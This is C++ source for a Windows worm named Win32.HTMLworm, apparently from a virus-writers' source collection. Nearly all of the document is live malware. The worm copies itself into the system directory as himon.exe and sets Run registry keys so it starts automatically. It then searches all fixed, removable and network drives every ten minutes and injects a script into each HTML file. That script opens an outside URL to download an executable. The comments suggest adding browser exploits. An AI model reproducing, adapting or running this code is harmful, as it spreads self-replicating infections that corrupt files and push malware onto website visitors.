|| Author: WarGame/EOF || Back to sources || View project folder ||
// Name: Win32.HTMLworm
// Author: WarGame
// Compiler: Borland C++
// Description: This worm spreads by adding a link to itself in html files
// Improvements:  You could add a link to a page containing an IE exploits :)

#include <windows.h>
#include <string>
using namespace std; // :)

// This function does the real work
void HTMLSpread(char *htmlfile)
{
      HANDLE html_fd;
      DWORD html_filesize,read_bytes,written_bytes;
      char *c_htmlcode = NULL;
      string *htmlcode = NULL; // make it simpler
      long pos;

      // open the html file
      html_fd = CreateFile(htmlfile,GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

      if(html_fd == INVALID_HANDLE_VALUE)
      {
           return;
      }

      // get file size
      html_filesize = GetFileSize(html_fd,NULL);

      // allocate enough memory
      c_htmlcode = (char *)malloc(html_filesize);

      if(c_htmlcode == NULL)
      {
           return;
      }

      // read entire file
      if(ReadFile(html_fd,c_htmlcode,html_filesize,&read_bytes,NULL) == 0)
      {
           CloseHandle(html_fd);
           return;
      }

      // create a string object
      htmlcode = new string(c_htmlcode);
      free(c_htmlcode);

      // already infected ?
      if(htmlcode->find("<!-- HTMLworm by [WarGame,#eof] !-->") == string::npos)
      {

      pos = htmlcode->find("</body>");

           if(pos == string::npos)
           {
               pos = htmlcode->find("</BODY>");

                   if(pos == string::npos)
                   {
                        CloseHandle(html_fd);
                        delete htmlcode;
                        return;
                   }
           }

      // add link
      htmlcode->replace(pos,7,"\r\n<script language=\"javascript\">window.open('http://hexter.host.sk/artwork.exe')</script>\r\n</body>");

      // write new file
      SetFilePointer(html_fd,0,0,FILE_BEGIN);
      WriteFile(html_fd,htmlcode->c_str(),htmlcode->size(),&written_bytes,NULL);
      // infection mark
      WriteFile(html_fd,"<!-- HTMLworm by [WarGame,#eof] !-->",36,&written_bytes,NULL);

      }

      // close all
      CloseHandle(html_fd);
      delete htmlcode;

}

// add worm to startup list
void AutoStart(char *my_path)
{
	HKEY hkey;

	 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		 "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
		 KEY_WRITE,&hkey)==ERROR_SUCCESS)
	 {
			RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path));
			RegCloseKey(hkey);
	 }

	 if(RegOpenKeyEx(HKEY_CURRENT_USER,
		 "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
		 KEY_WRITE,&hkey)==ERROR_SUCCESS)
	 {
			RegSetValueEx(hkey,"himon",0,REG_SZ,my_path,strlen(my_path));
			RegCloseKey(hkey);
	 }
}

// This will scan drives for html files
void S3arch(char *pt) {
	 char sc[MAX_PATH],buf[MAX_PATH];
	 WIN32_FIND_DATA in;
	 HANDLE fd,file;
	 char *fm = "%s\\%s",*fm1 = "%s\\*.*";

	 if(strlen(pt) == 3)
	 {
		pt[2] = '\0'; /* :-) */
	 }

	 sprintf(sc,fm1,pt);
	 fd = FindFirstFile(sc,&in);

 do
 {

	 sprintf(buf,fm,pt,in.cFileName);

	 /* dot :) */
	 if(strcmp(in.cFileName,"..") != 0 && strcmp(in.cFileName,".") != 0 && (in.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
	 {
		 S3arch(buf);
	 }

	 /* File found */
	 else
	 {

		 /* is it good to infect ? */

		 if(strstr(in.cFileName,".html") || strstr(in.cFileName,".htm"))
		 {
			 HTMLSpread(buf);
		 }
	 }

 }while(FindNextFile(fd,&in));

 FindClose(fd);
}


// entry point of worm
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
       // usual shit: installation part, startup and so on ...
       char I_am_here[MAX_PATH],installation_path[MAX_PATH];
       char Drives[3],Drive = 0;
       UINT drive_type;


       // only one copy
       CreateMutex(NULL,FALSE,"__HTMLworm_by_WarGame_EOF__");
       if(GetLastError() == ERROR_ALREADY_EXISTS)
       {
          ExitProcess(0);
       }

       GetSystemDirectory(installation_path,MAX_PATH);
       strcat(installation_path,"\\himon.exe");

       GetModuleFileName(NULL,I_am_here,MAX_PATH);
       // Copy!
       CopyFile(I_am_here,installation_path,FALSE);
       AutoStart(installation_path);


       // the real part starts here
       while(1)
       {

		/* Search for drives */
		for(Drive = 'C';Drive <= 'Z';Drive++)
		{
		Drives[0] = Drive;
		Drives[1] = ':';
		Drives[2] = '\\';
		Drives[3] = '\0';

		/* drive ? */
		drive_type = GetDriveType(Drives);

			/* only fixed, remote and removable drives */
			if(drive_type == DRIVE_FIXED ||
				drive_type == DRIVE_REMOTE ||
					drive_type == DRIVE_REMOVABLE)
			{
				/* GO! */
				S3arch(Drives);
			}
		}

		/* every 10 minutes */
		Sleep((1000*60)*10);
       }
}